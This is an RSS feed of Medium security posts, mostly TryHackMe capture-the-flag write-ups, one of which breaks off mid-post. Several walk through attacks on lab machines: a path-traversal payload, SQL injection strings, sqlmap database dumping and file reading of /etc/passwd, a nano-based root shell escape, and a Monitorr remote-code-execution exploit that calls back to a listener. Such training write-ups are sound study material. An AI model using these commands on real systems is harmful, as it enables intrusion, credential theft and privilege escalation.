<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by ViraSecurity on Medium]]></title>
        <description><![CDATA[Stories by ViraSecurity on Medium]]></description>
        <link>https://medium.com/@avira.cehoscp?source=rss-616eda82a406------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*URzF49UxVUlYr_bY4RFfJg.jpeg</url>
            <title>Stories by ViraSecurity on Medium</title>
            <link>https://medium.com/@avira.cehoscp?source=rss-616eda82a406------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Sat, 21 Nov 2026 13:44:26 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@avira.cehoscp/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[Advanced Post-Quantum Implementation: Uncovering Critical Blind Spots in AWS ML-DSA Deployment]]></title>
            <description><![CDATA[<div class="medium-feed-item"><p class="medium-feed-image"><a href="https://aws.plainenglish.io/advanced-post-quantum-implementation-uncovering-critical-blind-spots-in-aws-ml-dsa-deployment-d165dce9287f?source=rss-616eda82a406------2"><img src="https://cdn-images-1.medium.com/max/1024/1*yvDrQuuFPNSk2rgNdL6p9g.png" width="1024"></a></p><p class="medium-feed-snippet">AWS ML-DSA post-quantum signatures, performance optimization, and overlooked deployment challenges for security engineers.</p><p class="medium-feed-link"><a href="https://aws.plainenglish.io/advanced-post-quantum-implementation-uncovering-critical-blind-spots-in-aws-ml-dsa-deployment-d165dce9287f?source=rss-616eda82a406------2">Continue reading on AWS in Plain English »</a></p></div>]]></description>
            <link>https://aws.plainenglish.io/advanced-post-quantum-implementation-uncovering-critical-blind-spots-in-aws-ml-dsa-deployment-d165dce9287f?source=rss-616eda82a406------2</link>
            <guid isPermaLink="false">https://medium.com/p/d165dce9287f</guid>
            <category><![CDATA[quantum-computing]]></category>
            <category><![CDATA[aws]]></category>
            <category><![CDATA[post-quantum-cryptography]]></category>
            <category><![CDATA[aws-kms]]></category>
            <category><![CDATA[post-quantum-security]]></category>
            <dc:creator><![CDATA[ViraSecurity]]></dc:creator>
            <pubDate>Wed, 10 Sep 2025 12:48:31 GMT</pubDate>
            <atom:updated>2025-09-18T01:34:10.577Z</atom:updated>
        </item>
        <item>
            <title><![CDATA[The Largest npm Supply Chain Attack: Inside the Debug & Chalk Malicious Injection — An In-depth…]]></title>
            <description><![CDATA[<div class="medium-feed-item"><p class="medium-feed-image"><a href="https://javascript.plainenglish.io/the-largest-npm-supply-chain-attack-inside-the-debug-chalk-malicious-injection-an-in-depth-7d4b061ac2aa?source=rss-616eda82a406------2"><img src="https://cdn-images-1.medium.com/max/2600/1*qa_HKmlSlLZ9ILSm-5LWoA.png" width="2752"></a></p><p class="medium-feed-snippet">Deep Dive to the Blockchain and Supply Chain Security Technical  Insights for the npm breach 8 Sept &apos;25</p><p class="medium-feed-link"><a href="https://javascript.plainenglish.io/the-largest-npm-supply-chain-attack-inside-the-debug-chalk-malicious-injection-an-in-depth-7d4b061ac2aa?source=rss-616eda82a406------2">Continue reading on JavaScript in Plain English »</a></p></div>]]></description>
            <link>https://javascript.plainenglish.io/the-largest-npm-supply-chain-attack-inside-the-debug-chalk-malicious-injection-an-in-depth-7d4b061ac2aa?source=rss-616eda82a406------2</link>
            <guid isPermaLink="false">https://medium.com/p/7d4b061ac2aa</guid>
            <category><![CDATA[blockchain-security]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[threat-hunting]]></category>
            <category><![CDATA[supply-chain-security]]></category>
            <category><![CDATA[supply-chain-attack]]></category>
            <dc:creator><![CDATA[ViraSecurity]]></dc:creator>
            <pubDate>Tue, 09 Sep 2025 21:25:25 GMT</pubDate>
            <atom:updated>2025-09-21T01:12:27.760Z</atom:updated>
            <cc:license>https://creativecommons.org/licenses/by-nc-nd/4.0/</cc:license>
        </item>
        <item>
            <title><![CDATA[Unmasking the Gay Femboy: Inside a Crafty Mirai Variant Fooling the Experts]]></title>
            <description><![CDATA[<div class="medium-feed-item"><p class="medium-feed-image"><a href="https://infosecwriteups.com/unmasking-the-gay-femboy-inside-a-crafty-mirai-variant-fooling-the-experts-2de294887c2f?source=rss-616eda82a406------2"><img src="https://cdn-images-1.medium.com/max/2600/1*v5Ady-Kn2CCvQY8qkSi__Q.png" width="2752"></a></p><p class="medium-feed-snippet">A hands-on analysis of SHA-256 fbc42240&#x2026; and why this 66KB Linux threat is more clever than it looks</p><p class="medium-feed-link"><a href="https://infosecwriteups.com/unmasking-the-gay-femboy-inside-a-crafty-mirai-variant-fooling-the-experts-2de294887c2f?source=rss-616eda82a406------2">Continue reading on InfoSec Write-ups »</a></p></div>]]></description>
            <link>https://infosecwriteups.com/unmasking-the-gay-femboy-inside-a-crafty-mirai-variant-fooling-the-experts-2de294887c2f?source=rss-616eda82a406------2</link>
            <guid isPermaLink="false">https://medium.com/p/2de294887c2f</guid>
            <category><![CDATA[cyber-threat-intelligence]]></category>
            <category><![CDATA[threat-detection]]></category>
            <category><![CDATA[threat-hunting]]></category>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[threat-intelligence]]></category>
            <dc:creator><![CDATA[ViraSecurity]]></dc:creator>
            <pubDate>Fri, 29 Aug 2025 16:41:56 GMT</pubDate>
            <atom:updated>2025-09-27T03:51:07.519Z</atom:updated>
        </item>
        <item>
            <title><![CDATA[[THM] Tryhackme — Mother’s Secret Writeup]]></title>
            <link>https://medium.com/@avira.cehoscp/thm-tryhackme-mothers-secret-writeup-26b9e1ced218?source=rss-616eda82a406------2</link>
            <guid isPermaLink="false">https://medium.com/p/26b9e1ced218</guid>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[writeup]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[infosec]]></category>
            <category><![CDATA[tryhackme]]></category>
            <dc:creator><![CDATA[ViraSecurity]]></dc:creator>
            <pubDate>Sun, 17 Aug 2025 16:10:53 GMT</pubDate>
            <atom:updated>2025-08-29T18:28:48.142Z</atom:updated>
            <content:encoded><![CDATA[<h3>[THM] Tryhackme — Mother’s Secret Writeup</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*4lhoJWEImwjvW9DEHU3GrA.png" /><figcaption><a href="https://tryhackme.com/room/codeanalysis">https://tryhackme.com/room/codeanalysis</a></figcaption></figure><p>I wasn’t planning to spend an entire evening after celebrating Independence Day with my boyfriend into wrestling with Nostromo and YAML routes, but curiosity got the better of me (and keeping my Tryhackme login streak). What started as a “quick look” into a CTF-style room quickly spiraled into a mix of <strong>code analysis, endpoint fuzzing, and a little bit of LFI magic</strong>.</p><p>This room isn’t about spraying gobuster or hammering nmap. Instead, it forces us to slow down, <strong>read the code, follow the hints, and exploit the app logic</strong>. If you’re thinking about tackling <em>Mother’s Secret</em>, here’s the full breakdown of how I approached it.</p><h3>1. Getting Started</h3><h4>1.1 Room Description &amp; Hints</h4><p>The room drops us a text file (router.txt) with two important scripts: yaml.js and nostromo.js. Along with that, we’re handed a strange sequence:</p><ul><li><strong>Emergency command override:</strong> 100375</li></ul><p>Sounds like a variable, a filename, or something we’ll need later. Keep it close.</p><h4>1.2 Basic Recon</h4><p>Like always, I started with nmap just in case:</p><pre>nmap -sC -sV -oN initial.nmap &lt;target-ip&gt;</pre><p>Only ports 22 (SSH) and 80 (HTTP) were open. Nothing fancy. So, instead of brute-forcing directories, I went straight to the <strong>code files</strong> provided.</p><h3>2. Code Analysis — yaml.js</h3><p>The first file, yaml.js, shows an Express router:</p><pre>Router.post(&quot;/&quot;, (req, res) =&gt; {<br>  let file_path = req.body.file_path;<br>  const filePath = `./public/${file_path}`;<br><br>if (!isYaml(filePath)) {<br>    res.status(500).json({ message: &quot;Not a YAML file path.&quot; });<br>    return;<br>  }<br>  fs.readFile(filePath, &quot;utf8&quot;, (err, data) =&gt; {<br>    res.status(200).send(yaml.load(data));<br>    attachWebSocket().of(&quot;/yaml&quot;).emit(&quot;yaml&quot;, &quot;YAML data has been processed.&quot;);<br>  });<br>});</pre><h4>Important points:</h4><ul><li>Endpoint: POST /yaml</li><li>Needs file_path in body</li><li>Must end with .yaml</li><li>Returns file contents if valid</li></ul><p>So the game plan was clear: hit /yaml with a POST request.</p><h3>3. Testing /yaml</h3><h4>3.1 First Attempts</h4><p>Browsing http://&lt;ip&gt;/yaml gave the message: <em>“Wrong route.”</em><br>Switching to Burp, I intercepted the request and turned it into a POST. Still nothing.</p><p>Then I remembered the emergency code: <strong>100375</strong>. Maybe that’s the YAML file we’re supposed to fetch.</p><h3>3.2 Payload Crafting</h3><p>I sent this:</p><pre>{&quot;file_path&quot;:&quot;100375.yaml&quot;}</pre><p>Boom — success! The response gave me:</p><pre>ORDER: ord3r937.txt</pre><h3>3.3 First Answer</h3><ul><li><strong>Special order number:</strong> 937</li></ul><p>One flag down, more to go.</p><h3>4. Code Analysis — nostromo.js</h3><p>Next up: nostromo.js. This one is trickier. Two routes stood out:</p><ul><li>POST /api/nostromo → reads a file, sets authentication flag</li><li>POST /api/nostromo/mother → requires both YAML and Nostromo authentication before serving files</li></ul><p>So basically, we need to visit /yaml first, then /nostromo, then /nostromo/mother.</p><h3>5. Exploiting /nostromo</h3><p>I sent a POST request with:</p><pre>{&quot;file_path&quot;:&quot;ord3r937.txt&quot;}</pre><p>At first, it yelled <em>“Science Officer Eyes Only.”</em> Then I realized I forgot to set:</p><pre>Content-Type: application/json</pre><p>Resending it worked. The server handed me a new flag:</p><ul><li><strong>Hidden flag in Nostromo route:</strong> Flag{X3n0M0Rph}</li></ul><p>Even better is that the main webpage role updated from <em>Crew Member</em> to <em>Science Officer</em>. That meant elevated permissions.</p><h3>6. Playing as Science Officer</h3><p>Now authenticated, the UI displayed more info:</p><ul><li><strong>Science Officer with permissions:</strong> Ash</li><li><strong>Contents of the classified flag box:</strong> THM_FLAG{0RD3R_937}</li></ul><p>Exactly what the room wanted. But of course, there was one more endpoint to hit…</p><h3>7. Mother’s Secret — Final Stretch</h3><p>The hint in the task:<br> <em>“Can you guess what is /api/nostromo/mother/secret.txt?”</em></p><p>Using the same approach, I sent:</p><pre>{&quot;file_path&quot;:&quot;secret.txt&quot;}</pre><p>The response pointed me to:</p><pre>/opt/m0th3r</pre><p>At first glance, that looked like a system path rather than a web resource. That’s when the LFI vulnerability clicked. Since the backend concatenates paths directly, directory traversal could leak it.</p><p>I crafted:</p><pre>{&quot;file_path&quot;:&quot;../../../../opt/m0th3r&quot;}</pre><p>And sure enough — jackpot.</p><ul><li><strong>Where is Mother’s secret?</strong> /opt/m0th3r</li><li><strong>Mother’s secret:</strong> Flag{Ensure_return_of_organism_meow_meow!}</li></ul><h3>8. Final Thoughts</h3><p>What made this room fun is how it blends <strong>code analysis with application exploitation</strong>. Instead of brute-forcing directories or passwords, you’re forced to actually read the scripts, understand the logic, and then interact with the API endpoints in the right sequence.</p><p>A few lessons reinforced here:</p><ul><li>Always check the provided code or hints before going wild with tools.</li><li>Content-Type headers matter more than we think.</li><li>Directory traversal still pops up in fun places.</li><li>Watching how authentication flags are set can help bypass restrictions.</li></ul><h4>Happy hacking!</h4><figure><img alt="" src="https://cdn-images-1.medium.com/max/824/1*Zm4dtpbBh9JEavRDiVevRA.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/889/1*sxK4pc643EwORGFrf_eArw.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=26b9e1ced218" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[[THM] Security Footage — Writeup]]></title>
            <link>https://medium.com/@avira.cehoscp/thm-security-footage-writeup-bc49f393eff6?source=rss-616eda82a406------2</link>
            <guid isPermaLink="false">https://medium.com/p/bc49f393eff6</guid>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <category><![CDATA[writeup]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <dc:creator><![CDATA[ViraSecurity]]></dc:creator>
            <pubDate>Mon, 21 Jul 2025 11:48:05 GMT</pubDate>
            <atom:updated>2025-07-21T11:48:05.787Z</atom:updated>
            <content:encoded><![CDATA[<h3>[THM] Security Footage — Writeup</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/817/1*9u_uQIT0p7h4-DOXXwLwAA.png" /><figcaption><a href="https://tryhackme.com/room/securityfootage">https://tryhackme.com/room/securityfootage</a></figcaption></figure><p>There’s a certain thrill that comes with digital forensics that sense of wandering through digital ruins, piecing together the story byte by byte. When I stumbled across the <strong>Security Footage</strong> room on TryHackMe, it was exactly the kind of mystery I live for: a break-in, hard drives destroyed, and a single, solitary PCAP as the only surviving artifact. The task? Recover the lost security footage and, as always, find the elusive flag.</p><p>No clues, no hints. Just 44 megabytes of network traffic and a hunch that something important was hidden inside.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/0*VUAiiNkk9-xLwqIq.png" /></figure><h3>The Evidence</h3><p><strong>Artifact provided:</strong></p><pre>security-footage-1648933966395.pcap</pre><p>No additional files. No passwords. No readme.txt. Just a chunk of raw network data with 44MB of possibilities. If you’ve ever cracked open a PCAP and felt a mix of hope and dread, you know the feeling. Sometimes these things are packed with noise, but sometimes, just sometimes, they tell a complete story.</p><h3>1. Reconnaissance: Opening the Digital Time Capsule</h3><p>First step: reconnaissance. Like any forensics investigation, it starts with getting the lay of the land.</p><ul><li><strong>Tool of choice:</strong> Wireshark.</li><li><strong>Action:</strong> Opened the PCAP and started poking around.</li></ul><h4>What stood out:</h4><ul><li><strong>Single TCP stream.</strong></li><li><strong>HTTP connection</strong> to 192.168.1.100:8081.</li><li>The client issues a <strong>GET /</strong> request.</li><li>The server’s response? A <strong>continuous stream of data</strong>.</li></ul><p>It didn’t look like a typical web page. The data flow was steady, almost rhythmic .. more like a video stream than static files. I’ve seen this before: many IP cameras stream video as MJPEG (Motion JPEG), which is just a sequence of JPEG frames sent over HTTP. It’s simple, efficient, and easy to analyze if you know what to look for.</p><h3>2. File Carving: Digging for Gold with Foremost</h3><p>I could have gone manual, searching for JPEG file signatures in the HTTP stream, scripting something quick-and-dirty to extract them but why reinvent the wheel? <strong>Foremost</strong> is tailor-made for this sort of job. It scans files for known headers and footers (think: the classic FFD8 FFE0 JPEG marker) and carves out what it finds.</p><h4>Command Run:</h4><pre>foremost -i security-footage-1648933966395.pcap -o output_folder</pre><ul><li><strong>Duration:</strong> Seconds.</li><li><strong>Result:</strong> Over 500 JPEGs neatly saved in output_folder/jpeg/.</li></ul><h4>Why Foremost?</h4><ul><li>Handles all the heavy lifting, no need for custom regex or hex editing.</li><li>Works on raw data, not just file systems, which is perfect for PCAPs.</li><li>Reliable, fast, and battle-tested.</li></ul><h3>3. Reviewing the Footage: From Frames to Story</h3><p>Now came the most cinematic part of the process: reconstructing the footage. Over 500 JPEGs was too much to scroll through by hand, so I automated the review.</p><h4>My approach:</h4><pre>cd output_folder/jpeg/<br>for img in *.jpg; do feh &quot;$img&quot;; sleep 0.1; done</pre><ul><li><strong>feh</strong> is a lightweight image viewer for Linux perfect for rapid-fire slideshows.</li><li>By cycling through the frames, I essentially reanimated the security footage.</li></ul><h4>What I saw:</h4><ul><li>At first, not much .. blurred shots of an empty room, maybe a flicker of shadow.</li><li>As the “video” progressed, movement appeared: a figure darting past, objects shifting, the story emerging frame by frame.</li><li>And then, around frame 229, the eureka moment: a whiteboard, clearly in view.</li></ul><h4>Pro Tip:</h4><p>If you’re on Windows or Mac, use any batch image viewer or even combine the frames into a video using ffmpeg:</p><pre>ffmpeg -framerate 10 -i %d.jpg output.mp4</pre><p>Makes reviewing large image sets much, much easier.</p><h3>4. The Flag</h3><p>In digital forensics, the answer is often hiding in plain sight if you’re patient enough to look. Sure enough, scrawled across the whiteboard in one of the frames was what I’d been searching for:</p><pre>flag{5ebf457ea66b2877fdbca2de9ec86f31}</pre><p>No obfuscation, no steganography, no cryptic clues. Just pure, unfiltered evidence, waiting for someone to piece it together.</p><h3>Alternative Method</h3><p>For completeness, and because not every tool works every time I tried a second method: <strong>binwalk3</strong>.</p><h4>Why binwalk3?</h4><ul><li>Great for carving out embedded files from all kinds of binaries and captures.</li><li>Sometimes finds files that foremost misses, especially if headers are mangled.</li></ul><h4>Command:</h4><pre>binwalk3 -a -e -M -C temp security-footage-1648933966395.pcap</pre><ul><li>This pulled out similar JPEG frames, sorted into folders by offset.</li><li>I used a quick renaming script to sort the files numerically, then reviewed as before.</li></ul><p>If you want even more automation, tools like <a href="https://github.com/jackrendor/binwalker">binwalker</a> or bulk image viewers make the process even smoother.</p><h3>Key Takeaways</h3><p>This challenge was a perfect storm of classic forensics skills:</p><ul><li><strong>Network forensics</strong> isn’t just about logs and metadata as sometimes, it’s about entire files and streams.</li><li><strong>File carving</strong> is a timeless technique. Even in 2024, tools like foremost and binwalk3 are indispensable.</li><li><strong>Patience pays off.</strong> Sometimes you’ll need to review hundreds of files or frames before the key evidence appears.</li><li><strong>Always automate</strong> when you can as there’s no badge for doing things the hard way.</li></ul><h4>If you’re stuck:</h4><ul><li>Look for protocols that transmit files (HTTP, FTP).</li><li>Search for known file signatures in data streams.</li><li>Don’t be afraid to try multiple tools! Redundancy is your friend.</li></ul><p>Every PCAP tells a story. Sometimes it’s hidden in the headers, sometimes in the payload, and sometimes it’s a literal flipbook of a crime in progress. I love how these challenges blend technical skill with a dash of detective work.</p><p>If you enjoyed this write-up, let’s connect. I’m always down to swap tips, scripts, and packet capture stories!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/817/1*lXCcqg1fxXu2CJ92Crtrxg.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=bc49f393eff6" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[[THM] Gallery — Writeup]]></title>
            <link>https://infosecwriteups.com/thm-gallery-writeup-3a5d7d607646?source=rss-616eda82a406------2</link>
            <guid isPermaLink="false">https://medium.com/p/3a5d7d607646</guid>
            <category><![CDATA[writeup]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[tryhackme-walkthrough]]></category>
            <dc:creator><![CDATA[ViraSecurity]]></dc:creator>
            <pubDate>Sat, 19 Jul 2025 15:07:53 GMT</pubDate>
            <atom:updated>2025-09-27T12:30:51.241Z</atom:updated>
            <content:encoded><![CDATA[<h3>[THM] Gallery — Writeup</h3><figure><img alt="" src="https://cdn-images-1.medium.com/max/755/1*DlGPDCqh4fxNor389qY60Q.png" /><figcaption><a href="https://tryhackme.com/room/gallery666">https://tryhackme.com/room/gallery666</a></figcaption></figure><p>I’ll be honest .. I wasn’t planning on spending my whole evening after my date untangling a “Simple Image Gallery,” but curiosity got the better of me (and maybe a little double caffeine). What started as a quick peek soon spiraled into a full-on digital treasure hunt. From poking at web forms to chasing down sneaky backup files, this room delivered more surprises than I expected. Still relatively easy to delve in!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/740/1*JsQyGEJVUKKmfaM6QNND7A.avif" /></figure><p>If you’re thinking about diving into the Gallery room, or just want to follow along with my misadventures, keep reading for the full play-by-play (and some tips I wish I’d known from the start).</p><h3>1. Initial Reconnaissance</h3><h3>1.1. Target Discovery</h3><p>First things first, I grabbed the target IP from TryHackMe and made sure it was up:</p><pre>ping &lt;target-ip&gt;</pre><h3>1.2. Port Scanning</h3><p>Time for some Nmap action to uncover open ports and running services:</p><pre>nmap -sC -sV -oN initial.nmap &lt;target-ip&gt;</pre><p><strong>Findings:</strong></p><ul><li><strong>80/tcp</strong> — Apache httpd 2.4.29 (Ubuntu)</li><li><strong>8080/tcp</strong> — Apache httpd 2.4.29 (Ubuntu)</li></ul><p>Both ports are hosting web servers. This is where the fun begins.</p><h3>2. Web Application Enumeration</h3><h3>2.1. Browsing the Sites</h3><ul><li><strong>Port 80:</strong> Default Apache page, nothing interesting.</li><li><strong>Port 8080:</strong> A basic “Simple Image Gallery” web app appears.</li></ul><h3>2.2. Directory and File Brute-Forcing</h3><p>I ran gobuster to hunt for hidden directories and files:</p><pre>gobuster dir -u http://&lt;target-ip&gt;:8080 -w /usr/share/wordlists/dirb/common.txt</pre><p>This revealed standard directories (/images, /uploads, etc.) but nothing immediately juicy.</p><h3>3. Exploiting the Web App</h3><h3>3.1. Testing for SQL Injection</h3><p>The gallery app had login and search features. I started testing for SQLi:</p><ul><li>Inputting &#39; OR 1=1-- - in login fields or search boxes</li><li>Monitoring responses for errors or successful logins</li></ul><p><strong>Bingo!</strong> The search feature was vulnerable — entries like test&#39; or &#39;1&#39;=&#39;1 returned all images.</p><h3>3.2. Dumping the Database</h3><p>To automate, I used sqlmap:</p><pre>sqlmap -u &quot;http://&lt;target-ip&gt;:8080/search.php?query=cat&quot; --level=5 --risk=3 --dump-all</pre><p>After some patience, sqlmap retrieved the users table. I found the admin hash:</p><pre>a228b12a08b6527e7978cbe5d914531c</pre><p>I tried cracking the hash with hashcat and rockyou, but moved on since direct login wasn’t needed for the next steps.</p><h3>4. Foothold on the System</h3><h3>4.1. Searching for File Upload Vulnerabilities</h3><p>I checked if the gallery allowed image uploads. It did, but with some restrictions. After trying to upload PHP shells disguised as images (e.g., renaming shell.php to shell.jpg), uploads were filtered but worth noting for future attacks.</p><h3>4.2. Exploring for Sensitive Files</h3><p>Since the app was leaking info through SQLi, I used it to read files from the system:</p><pre>sqlmap --file-read=&quot;/etc/passwd&quot; ...</pre><p>But I didn’t find anything immediately useful. Time to look elsewhere.</p><h3>5. Local File Discovery</h3><h3>5.1. Checking for Backups</h3><p>Standard practice: always check /var/backups and similar directories for juicy files.</p><pre>ls -la /var/backups/</pre><p><strong>Found:</strong> mike_home_backup.tar.gz</p><h3>5.2. Extracting and Analyzing the Backup</h3><p>I downloaded the backup using the web vulnerability or by finding a way to grab it through the web app (could use wget, scp, or built-in web server if already on system):</p><pre>tar -xzvf mike_home_backup.tar.gz<br>cd mike_home_backup</pre><p>Inside, I found a .bash_history file.</p><pre>cat .bash_history</pre><p><strong>Password discovered:</strong><br>b3stpassw0rdbr0xx</p><h3>6. User Privilege Escalation</h3><h3>6.1. SSH or Local Switch</h3><p>I checked for SSH access, but if unavailable, I used any shell access to switch users:</p><pre>su mike<br># Password: b3stpassw0rdbr0xx</pre><p>Success! Now running as mike.</p><h3>6.2. Grabbing the User Flag</h3><pre>cat /home/mike/user.txt</pre><p><strong>User flag:</strong><br>THM{af05cd30bfed67849befd546ef}</p><h3>7. Root Privilege Escalation</h3><h3>7.1. Checking Sudo Permissions</h3><pre>sudo -l</pre><p><strong>Finding:</strong><br>(ALL) NOPASSWD: /opt/rootkit.sh</p><h3>7.2. Analyzing /opt/rootkit.sh</h3><p>I read the script:</p><pre>cat /opt/rootkit.sh</pre><p>It offered a menu, and one option let me open files in nano as root.</p><h3>7.3. Exploiting Nano for Root Shell</h3><p>Following <a href="https://gtfobins.github.io/gtfobins/nano/">GTFOBins</a>:</p><ol><li>Run: sudo /opt/rootkit.sh</li><li>Choose the “read” option (opens nano)</li><li>In nano, press Ctrl+R then Ctrl+X</li><li>At the prompt, type:<br>reset; sh 1&gt;&amp;0 2&gt;&amp;0</li><li>Hit Enter — now I had a root shell!</li></ol><h3>7.4. Getting the Root Flag</h3><pre>cat /root/root.txt</pre><p><strong>Root flag:</strong><br>THM{ba87e0dfe5903adfa6b8b450ad7567bafde87}</p><h3>8. Final Notes and Lessons Learned</h3><ul><li><strong>Enumeration is everything:</strong> Always dig for hidden files, directories, and backup archives.</li><li><strong>SQL injection still works:</strong> Don’t overlook classic vulnerabilities.</li><li><strong>Privilege escalation is all about detail:</strong> Check sudo rights, read custom scripts, and use GTFOBins tricks.</li><li><strong>Backups and history files are goldmines:</strong> Always snoop through them.</li></ul><h3>Recap of Key Commands</h3><ul><li>nmap -sC -sV -oN initial.nmap &lt;target-ip&gt;</li><li>gobuster dir -u http://&lt;target-ip&gt;:8080 -w /usr/share/wordlists/dirb/common.txt</li><li>sqlmap -u &quot;http://&lt;target-ip&gt;:8080/search.php?query=cat&quot; --level=5 --risk=3 --dump-all</li><li>cat .bash_history</li><li>su mike</li><li>sudo -l</li><li>Exploiting nano via GTFOBins in a root shell</li></ul><p>If you’re stuck on any step, try to slow down and explore all the files and web features. Good luck and happy hacking!</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/708/1*Q3DMhsqVeDDtXVrVjB1wVg.png" /></figure><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3a5d7d607646" width="1" height="1" alt=""><hr><p><a href="https://infosecwriteups.com/thm-gallery-writeup-3a5d7d607646">[THM] Gallery — Writeup</a> was originally published in <a href="https://infosecwriteups.com/">InfoSec Write-ups</a> on Medium, where people are continuing the conversation by highlighting and responding to this story.</p>]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[[THM CTF] Industrial Intrusion Warm-up — Breach]]></title>
            <description><![CDATA[<div class="medium-feed-item"><p class="medium-feed-image"><a href="https://infosecwriteups.com/thm-ctf-industrial-intrusion-warm-up-breach-5f3d1b18b4ca?source=rss-616eda82a406------2"><img src="https://cdn-images-1.medium.com/max/848/1*Zes4s3DLt-B2j254VM7MPQ.png" width="848"></a></p><p class="medium-feed-snippet">Introduction</p><p class="medium-feed-link"><a href="https://infosecwriteups.com/thm-ctf-industrial-intrusion-warm-up-breach-5f3d1b18b4ca?source=rss-616eda82a406------2">Continue reading on InfoSec Write-ups »</a></p></div>]]></description>
            <link>https://infosecwriteups.com/thm-ctf-industrial-intrusion-warm-up-breach-5f3d1b18b4ca?source=rss-616eda82a406------2</link>
            <guid isPermaLink="false">https://medium.com/p/5f3d1b18b4ca</guid>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[ctf-writeup]]></category>
            <category><![CDATA[ctf]]></category>
            <dc:creator><![CDATA[ViraSecurity]]></dc:creator>
            <pubDate>Fri, 27 Jun 2025 13:00:16 GMT</pubDate>
            <atom:updated>2025-09-25T08:23:58.257Z</atom:updated>
        </item>
        <item>
            <title><![CDATA[[TryHackMe] Year of the Jellyfish Writeup]]></title>
            <link>https://medium.com/@avira.cehoscp/tryhackme-year-of-the-jellyfish-writeup-9f82de711b92?source=rss-616eda82a406------2</link>
            <guid isPermaLink="false">https://medium.com/p/9f82de711b92</guid>
            <category><![CDATA[challenge]]></category>
            <category><![CDATA[tryhackme]]></category>
            <category><![CDATA[tryhackme-writeup]]></category>
            <category><![CDATA[writeup]]></category>
            <category><![CDATA[yearofjellyfish]]></category>
            <dc:creator><![CDATA[ViraSecurity]]></dc:creator>
            <pubDate>Mon, 16 Dec 2024 07:28:57 GMT</pubDate>
            <atom:updated>2025-06-22T16:23:47.438Z</atom:updated>
            <content:encoded><![CDATA[<figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*Mcv1MTs4Eupzi53kJ-SrjQ.png" /></figure><p>As I started on the Year of the Jellyfish challenge, I couldn’t help but feel a sense of excitement and trepidation. The challenge was designed to test my way-too-rusted skills in exploiting vulnerabilities and gaining access to a remote system. With my trusty toolkit by my side, I dove headfirst into the unknown, ready to take on whatever obstacles lay ahead *evil laugh*</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/750/0*Wuicl5Bz-8x20ean.jpg" /></figure><p><strong>Initial Reconnaissance</strong></p><p>My first step was to perform an Nmap scan on the target IP address, 176.34.160.174. This would give me a better understanding of the system’s open ports and services.</p><pre>nmap -sV -sC -p- -vv -oN nmap_full 176.34.160.174</pre><p>The scan revealed several open ports, including FTP (21/tcp), SSH (22/tcp), HTTP (80/tcp), and HTTPS (443/tcp). Notably, the FTP service was running vsftpd 3.0.3, while the SSH service was running OpenSSH 5.9p1 Debian 5ubuntu1.4.</p><p><strong>Gobuster</strong></p><p>Next, I used Gobuster to enumerate the web server’s directories. This would help me identify any potential entry points for exploitation.</p><pre>gobuster dir -u http://robyns-petshop.thm:8096/ -t 50 -w /usr/share/wordlists/dirb/big.txt</pre><p>The scan uncovered several intriguing directories, including /Health, /artists, /channels, /collections, /devices, /genres, /health, /items, /packages, /persons, /playlists, /plugins, /repositories, /robots.txt, /scheduledtasks, /sessions, /trailers, and /users.</p><p><strong>System Info</strong></p><p>I also discovered a system info page that disclosed the server’s operating system, version, and other details. This information would prove invaluable in my exploitation efforts.</p><pre>curl http://robyns-petshop.thm:8096/system/info/public/</pre><p>The system info page revealed that the server was running Jellyfin 10.7.2 on a Linux operating system.</p><p><strong>Exploiting Monitorr</strong></p><p>My attention was drawn to the Monitorr service, which was running on the server. A search for exploits using Searchsploit yielded a promising result:</p><pre>searchsploit monitorr</pre><p>I discovered an exploit for Monitorr 1.7.6m, which allowed for remote code execution (RCE). The exploit was modified to suit my needs and executed using the following command:</p><pre>python exploit-rce.py http://monitorr.robyns-petshop.thm 10.9.0.145 1234</pre><p>The exploit successfully uploaded a shell script to the server, which I then executed to gain access.</p><p><strong>Stabilizing the Shell</strong></p><p>To stabilize the shell, I used the following commands:</p><pre>python3 -c &#39;import pty;pty.spawn(&quot;/bin/bash&quot;)&#39;<br>export 